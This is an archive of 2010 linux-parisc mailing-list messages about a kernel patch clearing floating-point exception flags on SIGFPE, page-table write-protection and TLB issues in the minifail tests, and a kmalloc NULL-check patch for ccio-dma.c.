To: Thibaut Paumard <mlotpot.news@free.fr>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 03 22:44:46 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O92VP-0003OI-DD
	for glpp-linux-parisc@lo.gmane.org; Mon, 03 May 2010 22:44:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754955Ab0ECUof convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 May 2010 16:44:35 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:52041 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756725Ab0ECUof (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 May 2010 16:44:35 -0400
Original-Received: (qmail invoked by alias); 03 May 2010 20:44:30 -0000
Original-Received: from p54AD1366.dip0.t-ipconnect.de (EHLO halden.box) [84.173.19.102]
  by mail.gmx.net (mp045) with SMTP; 03 May 2010 22:44:30 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX182PZMv5eM2bYYNc/gXl3NwpePhdehEfuBXeBqKse
	FDEBO2NUYlZCyg
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <658D8AB1-4B32-4862-9938-503E3AC45FD9@free.fr>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46000000000000002
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2831 gmane.linux.debian.ports.hppa:6353
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2831>

On 12/14/2009 11:08 PM, Thibaut Paumard wrote:
> Le 14 d=E9c. 09 =E0 16:06, Carlos O'Donell a =E9crit :
> Attached is a rather small testcase.
>=20
> Compile with
>   gcc -lm -o fputest fputest.c
>=20
> Run with
>   ./fputest
> or with any succession of 'i's and 'f's, e.g.
>   ./fputest iffifi
>=20
> The expected behaviour (checked on i386) is that for each f or i lett=
er,
> a line is output, for instance
>      $ ./fputest iffi
>      Triggering integer SIGFPE: 1/0=3D(SIGFPE trapped)0
>      Triggering floating SIGFPE: 1./0.=3D(SIGFPE trapped)0.000000
>      Triggering floating SIGFPE: 1./0.=3D(SIGFPE trapped)0.000000
>      Triggering integer SIGFPE: 1/0=3D(SIGFPE trapped)0
>      $ echo $?
>      0
>=20
> All the SIGFPEs should be trapped and the program should exit gracefu=
lly
> (check $?).
>=20
> Under HPPA, the integer SIGFPEs are trapped but the floating-point
> SIGFPEs are not:
>      $ ./fputest iffi
>      Triggering integer SIGFPE: 1/0=3D(SIGFPE trapped)0
>      Triggering floating SIGFPE: 1./0.=3DFloating point exception
>      $ echo $?
>      136


The problem in this test case is, that a signal handler is called
when SIGFPE happens. Then glibc uses a trampoline handler to call the
signal handler, in which it touches the floating point registers again
and finally gets another SIGFPE. In this case, the program just ends
(since the original signal handler already trapped).
Involved glibc function is _dl_runtime_resolve() at=20
ports/sysdeps/hppa/dl-trampoline.S:73

The solution is simple.
Just clear the exception register in arch/parisc/math-emu/decode_exc.c
in the linux kernel before sending the SIGFPE signal to user space.

Patch attached.

While at this, I think we need to clear the exception registers for
the other cases like OVERFLOWEXCEPTION and INEXACTEXCEPTION at least
as well (see arch/parisc/math-emu/decode_exc.c, line 286 ff).

Helge

Patch:
-------------------------
[PATCH] parisc: clear floating point exception flag on SIGFPE signal

Clear the floating point exception flag before returning to
user space. This is needed, else the libc trampoline handler
may hit the same SIGFPE again while building up a trampoline
to a signal handler.

=46ixes debian bug #559406.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/math-emu/decode_exc.c b/arch/parisc/math-emu/d=
ecode_exc.c
index 3ca1c61..27a7492 100644
--- a/arch/parisc/math-emu/decode_exc.c
+++ b/arch/parisc/math-emu/decode_exc.c
@@ -342,6 +342,7 @@ decode_fpu(unsigned int Fpu_register[], unsigned in=
t trap_counts[])
 		return SIGNALCODE(SIGFPE, FPE_FLTINV);
 	  case DIVISIONBYZEROEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
+		Clear_excp_register(exception_index);
 	  	return SIGNALCODE(SIGFPE, FPE_FLTDIV);
 	  case INEXACTEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Patch for segfaults in minifail tests
Date: Mon, 3 May 2010 17:54:30 -0400
Organization: nrc.ca
Lines: 89
Approved: news@gmane.org
Message-ID: <20100503215429.GA168@hiauly1.hia.nrc.ca>
References: <20100501231355.851335057@hiauly1.hia.nrc.ca> <1272757191.4570.97.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1272923678 9285 80.91.229.12 (3 May 2010 21:54:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 3 May 2010 21:54:38 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	T-Bone@parisc-linux.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 03 23:54:37 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O93b0-0004HW-Hs
	for glpp-linux-parisc@lo.gmane.org; Mon, 03 May 2010 23:54:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757118Ab0ECVyd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 May 2010 17:54:33 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4878 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757094Ab0ECVyd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 May 2010 17:54:33 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5B8494FA3; Mon,  3 May 2010 17:54:30 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1272757191.4570.97.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2832
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2832>

On Sat, 01 May 2010, James Bottomley wrote:

> On Sat, 2010-05-01 at 19:13 -0400, John David Anglin wrote:
> > Hi Helge,
> > 
> > > I tried your patch on top of a 2.6.33.2 kernel (SMP, 32bit, PA8500 (PCX-W) CPU).
> > > I still do see all the page faults as before. They even seem to trigger 
> > > faster than with a few of Dave's patches.
> > > 
> > > I usually run this command
> > > 	i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail_dave; done;
> > > in a few screen sessions in parallel.
> > 
> > The reason running multiple screens in parallel exposes further problems
> > is the implementation of ptep_set_wrprotect is broken.  It simply sets the
> > write protect bit in the pte and doesn't purge the existing translation.
> > So, the parent continues to merrily write to the write protected page until
> > the TLB entry is purged and reloaded.  More processes make it more likely the
> > entry will be replaced and trigger a COW break.
> > 
> > This is why my versions of the minifail test which monitor the stack region
> > used by the thread don't cause a COW break immediately after the fork.  When
> > compiled at -O0, the loop index is constantly being stored to the stack.
> 
> Actually, no, this explanation isn't correct.

I stand by the observation that COW breaks do not happen when expected,
or consistently with the minifail testcase.

> The way linux works.  You can see roughly how this works in
> copy_page_range() where we prepare the COW.  If it's going to be a COW
> range, we call mmu notifiers before and after the pte settings.  The
> after mmu notifier is supposed to flush the TLB.   Linux always does
> memory operations in the form
> 
> prepare();
> do_something_with_the_ptes()
> activate()

That is certainly consistent with the existing code in pgtable.h.
The ptes can only be handled in this manner if there is a different
page table for each process.  I couldn't find the notifier hooks...
include/asm-generic/pgtable.h contains flush implementations which
do the TLB flush for several pte operations.  However, there is no
generic implementation of ptep_set_wrprotect as far as I can tell.

In the minifail testcase, we have three processes: "parent", "thread"
and "child".  Parent and thread have the same space id.  Child has
a different space id and therefore a different global virtual address
range.  All processes reference the same physical memory.

The ptes for parent and thread have to be consistent since the idtlbt
instruction will remove one or more entries whose virtual address ranges
overlap the virtual address range of the new translation.  Parisc
cpus have a relatively small translation lookaside buffer; so when
many processes are running, it is easy to lose an entry.  If we lose
entries, a page could randomly alternate from being write protected
to not write protected.

As far as I can tell, copy_one_pte only write protects the mms for
the parent (src_pte) and the child (pte).  The pte of thread is not
write protected.  As far as I can tell, we don't purge TLBs on
context switches, so it would appear that we have to have a consistent
set of ptes for all processes with the same space id.

Originally, I had assumed that parent and thread had the same page
directory.  In that case, one has to handle race conditions in setting
and updating ptes.  My rp3440 is more stable when I try to force
insertion of the write protect bit.  However, there are still some faults
that look like cache corruption when I push the system load up.

> It's only after the activate() through the mmu notifiers that we're
> supposed to be consistent.
> 
> Now the outstanding question is whether we're correctly hooked into the
> post mmu update notifier ... but I suspect we are (sorry, heading to a
> plane for boston, will try to check this next week).

Hope you spot something.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: wzt.wzt@gmail.com
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] Parisc: Check kmalloc return value before use the buffer in ccio-dma.c
Date: Thu, 6 May 2010 10:42:08 +0800
Lines: 32
Approved: news@gmane.org
Message-ID: <20100506024208.GB15956@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1273113256 14108 80.91.229.12 (6 May 2010 02:34:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 May 2010 02:34:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca, deller@gmx.de,
	jejb@parisc-linux.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 06 04:34:14 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O9quk-0001Vr-4e
	for glpp-linux-parisc@lo.gmane.org; Thu, 06 May 2010 04:34:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754564Ab0EFCeN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 May 2010 22:34:13 -0400
Original-Received: from mail-pw0-f46.google.com ([209.85.160.46]:37566 "EHLO
	mail-pw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754031Ab0EFCeM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 May 2010 22:34:12 -0400
Original-Received: by pwi5 with SMTP id 5so1037322pwi.19
        for <multiple recipients>; Wed, 05 May 2010 19:34:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:cc:subject
         :message-id:mime-version:content-type:content-disposition:user-agent;
        bh=XZzG7i63RDblnCJSRxOcxl3dSyLqTAmQDNMMkbqLhR4=;
        b=OwaHwO8wy8AZJPg955NbTLWfsakAG0VhzCZY3wTWzYdzQwO5J9cuQq7C5tY0KZe/Hj
         bjPiEeDgaiGSnUfbMMlAyQVGtYkJaFjsQwwXjLVHiDRyoGJyH49CjVI6K80sJWlPFkwN
         imjXDvIgrmPUT08LVAaJMvd2gS6HKwFO+fL78=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:mime-version:content-type
         :content-disposition:user-agent;
        b=BK32y++tl68+6pMTTlltllFPqyaBZu7mWGjhk/QF/bcrgyys1DRfNHnYwGGacdMHq+
         sVLAZ3LZkoX72n8b7+gDmmJl9r+FV2HINSZSsqX2X16tWakpb9bk8W/aLzXBjRJDm7QF
         fap1mz8MaI/AgQL3/i5gVueKKSFs/cjPEhL+Q=
Original-Received: by 10.114.186.21 with SMTP id j21mr355527waf.71.1273113251380;
        Wed, 05 May 2010 19:34:11 -0700 (PDT)
Original-Received: from localhost ([121.0.29.239])
        by mx.google.com with ESMTPS id d16sm2044507wam.0.2010.05.05.19.34.10
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 05 May 2010 19:34:10 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.4.2.2i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2833 gmane.linux.kernel:981722
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2833>

Check kmalloc return value before use the buffer.

Signed-off-by: Zhitong Wang <zhitong.wangzt@alibaba-inc.com>

---
 drivers/parisc/ccio-dma.c |    5 +++++
 1 files changed, 5 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index f511e70..f465417 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1407,6 +1407,11 @@ static void __init ccio_init_resources(struct ioc *ioc)
 	struct resource *res = ioc->mmio_region;
 	char *name = kmalloc(14, GFP_KERNEL);
 
+	if (!name) {
+		printk(KERN_ERR "%s() failed to get enough memory\n", __func__);
+		return ;
+	}
+
 	snprintf(name, 14, "GSC Bus [%d/]", ioc->hw_path);
 
 	ccio_init_resource(res, name, &ioc->ioc_regs->io_io_low);
-- 
1.6.5.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Parisc: Check kmalloc return value before use the
	buffer in ccio-dma.c
Date: Thu, 6 May 2010 00:03:31 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20100506040331.GC4902@bombadil.infradead.org>
References: <20100506024208.GB15956@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1273118622 26026 80.91.229.12 (6 May 2010 04:03:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 May 2010 04:03:42 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, deller@gmx.de, jejb@parisc-linux.org
To: wzt.wzt@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 06 06:03:39 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O9sJF-0005Pa-CH
	for glpp-linux-parisc@lo.gmane.org; Thu, 06 May 2010 06:03:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750710Ab0EFEDg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 May 2010 00:03:36 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:45432 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750699Ab0EFEDf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 May 2010 00:03:35 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1O9sJ9-0007oL-9j; Thu, 06 May 2010 04:03:31 +0000
Content-Disposition: inline
In-Reply-To: <20100506024208.GB15956@localhost.localdomain>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2834 gmane.linux.kernel:981733
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2834>

On Thu, May 06, 2010 at 10:42:08AM +0800, wzt.wzt@gmail.com wrote:
> +	if (!name) {
> +		printk(KERN_ERR "%s() failed to get enough memory\n", __func__);
> +		return ;
> +	}
> +
>  	snprintf(name, 14, "GSC Bus [%d/]", ioc->hw_path);

This code can't fail, since the failure case won't be handled by the
probe function, and will continue along without properly initializing
the resources and will fail later. While we could add proper error
handling, if these functions are called, the ccio IOMMU exists on the
machine, and without it, we can't do any DMA (amongst other things.)
So in that case, if this kmalloc fails (which it really shouldn't...)
we're pretty much screwed.

We can change it to GFP_ATOMIC|__GFP_NOFAIL so it will retry infinitely,
or we can panic in the error path with a nice error message so the users
knows why his machine isn't going to work.

I suggest the latter since you'll have the test to squelch gcc warnings
and such.

regards, Kyle

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Parisc: Check kmalloc return value before use the
	buffer in ccio-dma.c
Date: Thu, 6 May 2010 04:59:48 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20100506105948.GV6747@parisc-linux.org>
References: <20100506024208.GB15956@localhost.localdomain> <20100506040331.GC4902@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1273143605 8807 80.91.229.12 (6 May 2010 11:00:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 May 2010 11:00:05 +0000 (UTC)
Cc: wzt.wzt@gmail.com, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, deller@gmx.de, jejb@parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 06 13:00:03 2010
connect(): No such file or directory
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1O9yoB-0005wr-PP
	for glk-linux-kernel-3@lo.gmane.org; Thu, 06 May 2010 13:00:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756524Ab0EFK7x (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 6 May 2010 06:59:53 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:55211 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754564Ab0EFK7u (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 6 May 2010 06:59:50 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 292A9494005; Thu,  6 May 2010 04:59:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20100506040331.GC4902@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:981862 gmane.linux.ports.parisc:2835
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2835>

On Thu, May 06, 2010 at 12:03:31AM -0400, Kyle McMartin wrote:
> We can change it to GFP_ATOMIC|__GFP_NOFAIL so it will retry infinitely,
> or we can panic in the error path with a nice error message so the users
> knows why his machine isn't going to work.

If we can't initialise the IOMMU, can we even get a panic message out to
the user?

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."

From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Parisc: Check kmalloc return value before use the
	buffer in ccio-dma.c
Date: Thu, 6 May 2010 16:08:54 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20100506200854.GG4902@bombadil.infradead.org>
References: <20100506024208.GB15956@localhost.localdomain> <20100506040331.GC4902@bombadil.infradead.org> <20100506105948.GV6747@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1273176541 15705 80.91.229.12 (6 May 2010 20:09:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 May 2010 20:09:01 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, wzt.wzt@gmail.com,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	deller@gmx.de, jejb@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 06 22:08:59 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OA7NS-0002gy-TK
	for glpp-linux-parisc@lo.gmane.org; Thu, 06 May 2010 22:08:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757420Ab0EFUI5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 May 2010 16:08:57 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:33050 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757097Ab0EFUI5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 May 2010 16:08:57 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1OA7NO-0003el-FY; Thu, 06 May 2010 20:08:54 +0000
Content-Disposition: inline
In-Reply-To: <20100506105948.GV6747@parisc-linux.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2837 gmane.linux.kernel:982059
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2837>

On Thu, May 06, 2010 at 04:59:48AM -0600, Matthew Wilcox wrote:
> On Thu, May 06, 2010 at 12:03:31AM -0400, Kyle McMartin wrote:
> > We can change it to GFP_ATOMIC|__GFP_NOFAIL so it will retry infinitely,
> > or we can panic in the error path with a nice error message so the users
> > knows why his machine isn't going to work.
> 
> If we can't initialise the IOMMU, can we even get a panic message out to
> the user?
> 

Excellent question! I'm not sure. IODC console will still be working up
until it gets bonked, so early_console is probably still functional up
until that point.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Weird sys readings during ghc run
Date: Thu, 6 May 2010 23:49:02 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <00E6F5C7-BD87-4BD0-8E6F-C80D8E427DAA@parisc-linux.org>
References: <w2p7d01f9f01005060541jca558889j5e9ef1e4eccf675a@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1273182557 5855 80.91.229.12 (6 May 2010 21:49:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 May 2010 21:49:17 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 06 23:49:15 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OA8wS-0005eG-P3
	for glpp-linux-parisc@lo.gmane.org; Thu, 06 May 2010 23:49:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752902Ab0EFVtJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 May 2010 17:49:09 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:58651 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752818Ab0EFVtI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 May 2010 17:49:08 -0400
Original-Received: by wwb39 with SMTP id 39so371952wwb.19
        for <linux-parisc@vger.kernel.org>; Thu, 06 May 2010 14:49:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:message-id:from:to
         :content-type:content-transfer-encoding:mime-version:subject:date
         :references:x-mailer;
        bh=DUtQmo0XFqFmETwApwQXZ19dpCXhQGe9QxpOQOFW/xE=;
        b=OFCE3TW3BZ8il0BKYYagfTGbUVT9hGlHTqIoBpsYioOhLLr+QJMLPtKUQdG4mxfHgL
         2VM7Z+hu78+vSKzestd3+8hBpfUqSnkN0xDzOOWRmgoeOqfsYktBMNtLQ8zlU/Xcpn+H
         U7jPk02dr42qnMde9AUaYXs0vhAfWedIvenQk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:message-id:from:to:content-type:content-transfer-encoding
         :mime-version:subject:date:references:x-mailer;
        b=dwJvjgusjTfYxwy3YJNxp74K1C0R+bL5RETiOApqIbDwcezCLBE6EKy7usMmYRIdAX
         S0SDKLki1wxYNAeeDo4dH33VYxo6UpdLQFQ619vQVXktwXoxAK6NrFXGkE7M/0NZfhq+
         nvjxP+1n0xwRW0Sll+CJ5O36v7lo9ckvGxdG8=
